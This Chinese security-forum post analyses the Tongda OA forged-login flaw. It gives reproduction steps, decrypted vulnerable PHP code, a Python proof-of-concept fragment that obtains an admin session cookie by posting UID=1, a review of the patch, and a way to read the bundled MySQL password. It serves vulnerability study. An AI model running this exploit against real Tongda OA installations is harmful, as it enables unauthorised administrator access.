用户
搜索
  • TA的每日心情
    开心
    2020-10-9 21:39
  • 签到天数: 14 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    3

    主题

    23

    帖子

    384

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-4-17

    i春秋签约作者

    发表于 2020-10-9 21:31:15 89962

    相关借阅:

    1.https://github.com/NS-Sp4ce/TongDaOA-Fake-User   POC

    2.https://l3yx.github.io/2020/04/27/     通达OA-任意用户登录漏洞

    3.https://cloud.tencent.com/developer/article/1623130      通达OA任意用户登录

    4.https://my.oschina.net/u/4362330/blog/4397219   通达OA前台任意用户伪造登录漏洞复现

    5.https://www.freebuf.com/column/234992.html    通达OA前台任意伪造用户登录审计和复现

    6.https://www.freebuf.com/column/234992.html     通达OA前台任意伪造用户登录审计和复现-美滋滋

    一、漏洞简述

    2020年4月17日,通达OA官方更新了V11版本安全补丁,修复了任意用户伪造登录漏洞,该漏洞的操作难度低,危害程度大。未经授权的攻击者通过构造请求包实现用户登录,又由于UID是主键且步进为1递增,从而导致可以指定UID实现任意用户登录(admin的缺省UID为1)。
    受影响版本:
    通达OA 2017 V10.X

    ​        通达OA V11.X < V11.5.200417

    web-login

    web-login

    二、本文目标

    1.复现漏洞。

    2.将存在漏洞的加密文件解密看源码。

    3.分析漏洞产生的原因。

    三、复现漏洞

    1.访问/general/login_code.php

    burp-r1

    burp-r1

    2.提交数据到 /logincheck_code.php,获得Set-Cookie信息。

    burp-r2

    burp-r2

    3.验证登录/general/index.php   

    burp-r3

    burp-r3

    四、业务梳理

    该漏洞在扫码登录处,用浏览器访问 /general/login_code.php 出现一个二维码,当手机客户端识别二维码,手机端同意登录后,手机端将二维码隐含的codeuid发送到/general/login_code_scan.php服务端进行保存登录配置。

    这期间浏览器JS不断请求login_code_check.php可以得知该codeuid是否登录成功需要跳转。得知已扫码后跳转到logincheck_code.php进行Set-Cookie完成登录。

    五、代码分析

    5.1 安装搭建

    系统:Microsoft Windows 7 旗舰版

    POC: https://github.com/NS-Sp4ce/TongDaOA-Fake-User

    tongda OA:2019.09.11(V11.4.2)      https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

    下载通达V11后,运行EXE文件下一步即可,安装完成后访问localhost。默认用户admin空密码。

    若想通过其他局域网访问可添加入站规则或关闭防火墙。

    firewal-set

    firewal-set

    5.2 解密工具

    若直接打开php加密文件会乱码。

    notepad-zend

    notepad-zend

    头部显示Zend,搜索后得知通达OA使用Zend加密方式。

    https://paper.seebug.org/203/  免费Zend 5.2 5.3 5.4解密工具

    https://www.pcsoft.com.cn/soft/191205.html   (注意检测是否带毒)

    加密后的源码位于安装目录的webroot目录下。

    zend-tool

    zend-tool

    5.3 源代码1

    //    /general/login_code.php
    <?php
    ...
    $codeuid = $_GET["codeuid"];
    $login_codeuid = TD::get_cache("CODE_LOGIN" . $codeuid);
    $tempArr = array();
    $login_codeuid = (preg_match_all("/[^a-zA-Z0-9-{}\/]+/", $login_codeuid, $tempArr) ? "" : $login_codeuid);
    
    if (empty($login_codeuid)) {
            $login_codeuid = getUniqid();
    }
    ...
    TD::set_cache("CODE_LOGIN" . $login_codeuid, $login_codeuid, 120);
    $databacks = array("status" => 1, "code_uid" => $login_codeuid);
    echo json_encode(td_iconv($databacks, MYOA_CHARSET, "utf-8"));
    echo "\r\n\r\n\r\n";
    ?>

    此处代码逻辑,当$login_codeuid为空时,生成一个并存入redis缓存(set_cache)并在最后echo。

    5.4 源代码2

    //     /logincheck_code.php  漏洞发生在此文件中
    <?php
    ...
    $redis = TRedis::redis();
    $UID = intval($_POST["UID"]);
    $CODEUID = $_POST["CODEUID"];
    $login_codeuid = TD::get_cache("CODE_LOGIN" . $CODEUID);
    if (!isset($login_codeuid) || empty($login_codeuid)) {
            $databack = array("status" => 0, "msg" => _("参数错误!"), "url" => "general/index.php?isIE=0");
            echo json_encode(td_iconv($databack, MYOA_CHARSET, "utf-8"));
            exit();
    }
    ...
    $query = "SELECT * from USER where UID='$UID'";
    $cursor = exequery(TD::conn(), $query);
    
    if ($ROW = mysql_fetch_array($cursor)) {
        ...
            $UID = $ROW["UID"];
            ...
    }
    ...
    

    从源代码中不难看出,UID和CODEUID参数均可通过外部控制,读出参数后代入SQL语句查询并返回对应UID的用户的信息,并把uid以session形式保存。唯一的困难点,第15行处有一个判断,即是从缓存中取出$login_codeuid且不允许为空。

    5.5 源代码3

    //  POC片段:   /NS-Sp4ce/TongDaOA-Fake-User
    import requests
    from random import choice
    import argparse
    import json
    
    USER_AGENTS = [...]
    
    headers={}
    
    def getV11Session(url):
        checkUrl = url+'/general/login_code.php'
        try:
            headers["User-Agent"] = choice(USER_AGENTS)
            res = requests.get(checkUrl,headers=headers)
            resText = str(res.text).split('{')
            codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
            getSessUrl = url+'/logincheck_code.php'
            res = requests.post(
                getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
            tmp_cookie = res.headers['Set-Cookie']
            headers["User-Agent"] = choice(USER_AGENTS)
            headers["Cookie"] = tmp_cookie
            check_available = requests.get(url + '/general/index.php',headers=headers)
            if '用户未登录' not in check_available.text:
                if '重新登录' not in check_available.text:
                    print('[+]Get Available COOKIE:' + tmp_cookie)
            else:
                print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
        except:
            print('[-]Something Wrong With '+url)

    从POC片段可以看到,程序先访问login_code.php获得codeUid,再带着codeUid访问logincheck_code.php,最后访问index.php验证是否漏洞利用成功。

    六、补丁分析

    点击系统更新,更新到V11.5.200417约需要10分钟。

    update

    update

    所以这里重点对比一下v11.4.200323和v11.5.200417修复前和修复后logincheck_code.php的源代码:

    burp-c1

    burp-c1

    可以看到,修复后的版本对UID进行了初始化,并增加token的校验,使得用户不能直接控制$UID。

    我们注意到$token可以被用户控制,那么$token是否可以伪造?生成token的代码位于源文件 /general/login_code_scan.php

    burp-c2

    burp-c2

    上述代码功能为,通过浏览器传来的PHPSESSID,查在线用户表user_online,得到UID。将UID、PHPSESSID、时间盐值等拼接成长串,经MD5后存入缓存中。也就是说想伪造token需要找到已登录用户的PHPSESSID,因为需要登录成功才能获得有效的PHPSESSID,故token无法伪造。

    七、补充内容

    如何访问通达的mysql数据库并执行SQL查询

    读取安装目录下mysql5/my.ini文件,查看password。

    进入mysql5/bin/文件夹,执行CMD命令:mysql -u root -P 3336 -p

    mysql-login

    mysql-login

    查询语句:select uid,user_id from user where uid < 5;

    mysql-qerry

    mysql-qerry

    可以看到,admin用户的uid为1,并且uid递增步进为1。

    八、后续进展

    通达 OA 是国内最常用的办公系统之一,很值得安全人员去深入研究。对于过去爆出的一些漏洞要知其然知所以。因为通达OA代码可解密,比较适合用于学习,本系列文章将重点围绕代码,对历史高危漏洞进行详细分析。下一篇将分析2020年3月13日的任意文件上传RCE。

    评分

    参与人数 1魔法币 +3 收起 理由
    Pandame + 3 感谢发布原创作品,i春秋论坛因你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    • · sc|主题: 63, 订阅: 3
    发表于 2020-10-10 09:43:04
    学习了学习了
    使用道具 举报 回复
    发表于 2020-10-10 09:43:16
    期待大佬更新
    使用道具 举报 回复
    发表于 2020-10-10 09:52:24
    学习了学习了~
    使用道具 举报 回复
    发表于 2020-10-10 14:00:38
    使用道具 举报 回复
    发表于 2020-10-11 10:04:08
    php漏洞分析相比java漏洞分析上手容易,但是代码确实没有奇淫巧技来劲,更多是靠毅力坚持,一起共同进步。
    使用道具 举报 回复
    发表于 2020-10-14 10:39:21
    表哥好毅力,佩服佩服
    使用道具 举报 回复
    本帖最后由 精通linux开关机 于 2020-10-15 09:03 编辑

    自行搭建的OA靶场环境(目前是11.3版本),ichunqiu,nat300,top  开放7天供各位伙伴使用。 ii.png
    使用道具 举报 回复
    感谢分享
    剑未佩妥出门已是江湖
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册